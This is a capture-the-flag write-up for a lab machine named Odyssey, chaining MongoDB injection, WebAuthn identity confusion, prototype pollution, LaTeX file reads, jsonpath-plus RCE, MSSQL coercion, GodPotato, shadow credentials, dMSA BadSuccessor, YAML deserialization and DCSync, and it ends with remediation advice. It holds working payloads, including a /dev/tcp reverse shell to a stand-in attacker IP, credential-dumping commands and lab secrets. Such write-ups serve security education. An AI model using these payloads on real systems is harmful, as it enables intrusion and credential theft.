Target: 10.129.14.217 · Linux web gateway · MSSQL · Windows Server 2025 Active Directory
Odyssey is an unusually deep chain across a Linux web application, a Windows SQL server, and a domain controller. The route begins with MongoDB aggregation injection and a WebAuthn identity-binding flaw, proceeds through prototype pollution, LaTeX file disclosure, and jsonpath-plus RCE, then crosses into Active Directory through SQL coercion, SeImpersonate privilege abuse, shadow credentials, dMSA BadSuccessor, a DPAPI oracle, unsafe YAML deserialization, and finally DCSync.
Note: Flag values are intentionally redacted. The user flag is at C:\Users\Administrator\Desktop\user.txt on ODYSSEY-DB; the root flag is at C:\Users\Administrator\Desktop\root.txt on DC01.
Attack path at a glance
- Find the Node/Express application on port 3000.
- Nest
$lookupinside$facetto readpending_invites. - Register a synthetic WebAuthn credential and authenticate with
userHandle=admin. - Pollute
Object.prototype, enable raw LaTeX, and read the MDS diagnostic token. - Exploit CVE-2025-1302 in
jsonpath-plus10.2.0 aswebadmin. - Reuse an application password with sudo and pivot to the internal subnet.
- Coerce and crack
svc-mssql, then use its SQL sysadmin rights. - Use SeImpersonatePrivilege to become SYSTEM on ODYSSEY-DB and read the user flag.
- Recover the machine hash and shadow
svc-aegis-build. - Create a dMSA BadSuccessor relationship and recover
svc-aegis-deploy's key. - Abuse Aegis Stream's DPAPI oracle and unsafe YAML import as
svc-aegis-stream. - Extract a delegated TGT, DCSync Administrator, and read the root flag as Domain Admin.
External enumeration
ping -c 3 -W 2 10.129.14.217
nmap -Pn -n -p- --min-rate 1500 --max-retries 2 -T4 10.129.14.217
nmap -Pn -n -sC -sV -p3000 --version-all 10.129.14.217
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Did not follow redirect to http://aegis.korvia.htb:3000/
I used non-privileged hostname resolution:
curl -sS --resolve aegis.korvia.htb:3000:10.129.14.217 \
http://aegis.korvia.htb:3000/
MongoDB aggregation injection
The unauthenticated /api/v1/aegis-mds/search endpoint accepted a JSON aggregation pipeline. A top-level $lookup was blocked, but the validator did not recurse into a $facet sub-pipeline:
[
{"$limit":1},
{"$facet":{"x":[
{"$lookup":{"from":"pending_invites","pipeline":[],"as":"y"}},
{"$unwind":"$y"},
{"$replaceRoot":{"newRoot":"$y"}}
]}}
]
This exposed a still-valid invite:
operator_id: op-2026-0042
token: dad657731b2c7a2190fa167b388a2ddbc17b78ba6c6be1c3b169c4cff97a5238
expires_at: 2126-05-15T00:00:00.000Z
WebAuthn identity confusion
The registration API accepted a generated P-256/ES256 credential with fmt=none attestation. At login, the application correctly checked the signature but selected the resulting session identity from the client-supplied userHandle. My client registered the operator credential and supplied admin during authentication:
python3 Odyssey/evidence/webauthn_forge.py \
dad657731b2c7a2190fa167b388a2ddbc17b78ba6c6be1c3b169c4cff97a5238 \
--user-handle admin
[+] register/finish: 200 {"ok":true,"operator_id":"op-2026-0042"}
[+] auth/finish: 200 {"handle":"admin","display_name":"System Administrator",
"role":"Administrator","clearance":"Δ-5","redirect":"/dashboard"}
Prototype pollution and LaTeX file disclosure
The admin template renderer merged attacker-supplied overrides into defaults. This value enabled raw rendering globally through prototype pollution:
{"__proto__":{"allowRawBlocks":true}}
A raw LaTeX block could then read a local file with TeX primitives. A deliberate error made the renderer return the diagnostic transcript:
\newread\foo
\openin\foo=/etc/aegis-mds-diag.env
\loop\unless\ifeof\foo
\read\foo to \line
\message{^^J<<<\meaning\line>>>^^J}
\repeat
\errmessage{AEGIS-READ-END}
MDS_DIAG_TOKEN=bcdf42b953dcee715b8d81e38f0c5ded
"jsonpath-plus": "^10.2.0"
CVE-2025-1302 and Linux root
The diagnostic jpquery route passed expressions to vulnerable jsonpath-plus. After reviewing the public technique, I reduced it to a single child_process.exec() call and obtained a callback:
nc -lvnp 4444
python3 Odyssey/evidence/jsonpath_cve_2025_1302.py \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_VPN_IP/4444 0>&1'"
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),27(sudo)
/home/webadmin/aegis/db/sql.js contained odyssey_app:opc0932k90%%lODFI93-++. The same password worked with sudo:
printf '%s\n' 'opc0932k90%%lODFI93-++' | sudo -S id
uid=0(root) gid=0(root) groups=0(root)
Root access disclosed the internal layout and audit publisher credential:
172.16.0.10 DC01.odyssey.htb
172.16.0.11 ODYSSEY-DB.odyssey.htb
172.16.0.12 Aegis web gateway
aegis_audit_publisher:Rxd!Qw6n8sP..2bJ@Wpx-2026
MSSQL coercion
A scoped reverse SOCKS tunnel through the web host provided access to the two target-owned internal systems. The publisher account was bulkadmin but not sysadmin. A BULK INSERT from a UNC path coerced the SQL service into authenticating to an SMB listener:
EXEC (
'BULK INSERT aegis_audit.dbo.audit_ingest_staging
FROM ''\\172.16.0.12\x\test''
WITH (DATAFILETYPE = ''char'')'
);
Hashcat recovered the NetNTLMv2 password:
hashcat -m 5600 svc-mssql-netntlmv2.txt /usr/share/wordlists/rockyou.txt
ODYSSEY\svc-mssql:cml958782
The domain account was SQL sysadmin, so I enabled xp_cmdshell and checked the service token:
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /all';
The token was High integrity with SeImpersonatePrivilege.
SYSTEM on ODYSSEY-DB and the user flag
I reviewed GodPotato source commit 59f66583474fb0297b7447551460e1072de324c0. It hooks a local COM RPC flow, accepts the RPCSS named-pipe connection, impersonates a SYSTEM token, and starts only the requested process. A per-assessment loader executed the reviewed assembly from xp_cmdshell.
nt authority\system
Mandatory Label\System Mandatory Level
The user flag was read from C:\Users\Administrator\Desktop\user.txt on ODYSSEY-DB. Registry hives recovered the domain machine secret:
reg save HKLM\SYSTEM C:\Users\Public\odyssey-system.save /y
reg save HKLM\SECURITY C:\Users\Public\odyssey-security.save /y
reg save HKLM\SAM C:\Users\Public\odyssey-sam.save /y
ODYSSEY-DB$ NT hash: 71bc6be8565f0c9871070c3912b1680d
Shadow credential and dMSA BadSuccessor
ODYSSEY-DB$ could modify svc-aegis-build's key credentials. Certipy temporarily added a credential, used PKINIT to recover the hash, and restored the original list:
certipy shadow auto \
-u 'ODYSSEY-DB$@odyssey.htb' \
-hashes ':71bc6be8565f0c9871070c3912b1680d' \
-account svc-aegis-build \
-target dc01.odyssey.htb -dc-ip 127.0.0.1
svc-aegis-build NT hash: bbc270509ec878cf516d5295fb4d774d
That account could create a delegated managed service account below OU=Migrations and write the two superseded-account attributes on svc-aegis-deploy. Workspace-local bloodyAD 2.5.5 created dmsa-ody-deploy$ with the deployment account as its BadSuccessor predecessor.
After adding a shadow credential and setting a self-authorization msDS-GroupMSAMembership descriptor, PKINIT returned the dMSA's current key:
dmsa-ody-deploy$ NT hash: 174d1d9c75c7ae2c2eb6776361daad28
A dMSA-aware S4U2self request disclosed keys for preceding managed accounts:
badS4U2self \
'kerberos+nt://odyssey.htb\dmsa-ody-deploy$:174d1d9c75c7ae2c2eb6776361daad28@127.0.0.1/' \
'krbtgt/odyssey.htb@odyssey.htb' \
'dmsa-ody-deploy$@odyssey.htb' --dmsa
dMSA previous keys:
svc-aegis-deploy NT hash: 3a5026b2aa5ef2cbb7cb6a7be3a2bcfa
Pass-the-hash WinRM verified odyssey\svc-aegis-deploy, a member of Remote Management Users and AegisStream-Viewers.
Aegis Stream DPAPI oracle
Viewer members could access \\.\pipe\AegisStreamMgmt. Its diagnostic decrypt action passed a supplied blob to DPAPI in the service user's context. A viewer-signed request decrypted operator.wrap.bin:
STATUS=OK
WRAPPER=D5742ED26151833792FFD2D821959E0F1B85A1F922157639A6C7EC90C094D658
OPERATOR_BLOB=1TZcBcBcDvenMAy7WxkiJ/+MVOcAT1ri6P8T8WW1nBPuBv7YGBqHBdUu+xZpzbqRG4kCehfmy2bG70to
AES-256-GCM decryption produced the operator HMAC key:
4b690afb33fd7f1bd2c4b36fce121b8b291352a5a0ed8632a0654422f401a83c
Unsafe YAML deserialization
The operator-only CONFIG_IMPORT action accepted unrestricted CLR YAML tags. A signed ObjectDataProvider document launched cmd.exe:
--- !System.Windows.Data.ObjectDataProvider%2CPresentationFramework
ObjectInstance:
!System.Diagnostics.Process%2CSystem.Diagnostics.Process
StartInfo:
!System.Diagnostics.ProcessStartInfo%2CSystem.Diagnostics.Process
FileName: cmd.exe
Arguments: '/c whoami > C:\ProgramData\AegisStream\logs\whoami.txt'
MethodName: Start
STATUS=OK
odyssey\svc-aegis-stream
Delegated TGT and DCSync
I inspected Rubeus tgtdeleg at source commit 74215f68ea70bd6a66c008da91bf5fe21d20b154. Its GSS-API delegation path extracted the service account's forwarded TGT without changing AD:
C:\ProgramData\AegisStream\Rubeus.exe tgtdeleg /nowrap
[+] Delegation request success
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi): ...
impacket-ticketConverter svc-aegis-stream.kirbi svc-aegis-stream.ccache
Default principal: svc-aegis-stream@ODYSSEY.HTB
Service principal: krbtgt/ODYSSEY.HTB@ODYSSEY.HTB
The account had directory replication rights:
export KRB5CCNAME="$PWD/svc-aegis-stream.ccache"
proxychains4 -q impacket-secretsdump -k -no-pass \
-dc-ip 172.16.0.10 -target-ip 172.16.0.10 \
-just-dc-user Administrator \
'odyssey.htb/svc-aegis-stream@dc01.odyssey.htb'
Administrator NT hash: 890b9e96245f6895e06adfe92ad1e81f
Pass-the-hash WinRM provided the final proof:
odyssey\administrator
BUILTIN\Administrators
ODYSSEY\Domain Admins
ODYSSEY\Enterprise Admins
[root flag redacted]
The root flag was read from C:\Users\Administrator\Desktop\root.txt on DC01.
Credentials and keys
| Context | Principal or key | Secret | Impact |
|---|---|---|---|
| Invite | op-2026-0042 | dad657731b2c7a2190fa167b388a2ddbc17b78ba6c6be1c3b169c4cff97a5238 | Credential registration |
| Diagnostics | MDS token | bcdf42b953dcee715b8d81e38f0c5ded | Diagnostic route access |
| Web/OS | webadmin / odyssey_app | opc0932k90%%lODFI93-++ | sudo reuse |
| SQL publisher | aegis_audit_publisher | Rxd!Qw6n8sP..2bJ@Wpx-2026 | bulkadmin |
| SQL service | ODYSSEY\svc-mssql | cml958782 | SQL sysadmin |
| Machine | ODYSSEY-DB$ | 71bc6be8565f0c9871070c3912b1680d | Shadow build account |
| Build | svc-aegis-build | bbc270509ec878cf516d5295fb4d774d | dMSA control |
| dMSA | dmsa-ody-deploy$ | 174d1d9c75c7ae2c2eb6776361daad28 | Previous-key recovery |
| Deploy | svc-aegis-deploy | 3a5026b2aa5ef2cbb7cb6a7be3a2bcfa | WinRM and viewer access |
| Aegis Stream | Operator HMAC key | 4b690afb33fd7f1bd2c4b36fce121b8b291352a5a0ed8632a0654422f401a83c | CONFIG_IMPORT authorization |
| Domain | Administrator | 890b9e96245f6895e06adfe92ad1e81f | Domain Admin |
Remediation
- Remove client-controlled aggregation pipelines; recursively reject MongoDB operators and enforce allow-listed schemas.
- Bind WebAuthn credentials to a server-selected identity and never trust
userHandlefor account selection. - Use prototype-safe merges and reject
__proto__,constructor, andprototype. - Disable raw TeX for untrusted content and sandbox document conversion away from secrets.
- Upgrade
jsonpath-plus, remove arbitrary diagnostic expressions, and rotate the MDS token. - Rotate all disclosed secrets and prohibit password reuse between applications, databases, sudo, and service accounts.
- Remove unnecessary
bulkadmin, block outbound SMB from SQL servers, and disable or monitorxp_cmdshell. - Remove unnecessary impersonation privileges from the SQL service and monitor privileged-token creation.
- Correct the AD ACLs on the build account, Migrations OU, and superseded-account attributes.
- Alert on key-credential and dMSA attribute changes.
- Remove the arbitrary DPAPI decrypt operation and isolate viewer/operator authorization keys.
- Use safe, data-only YAML deserialization; reject all CLR type tags.
- Remove replication rights from application service accounts and monitor DRS replication from non-DC hosts.
- Segment web, SQL, and domain-controller tiers with explicit east-west allow rules.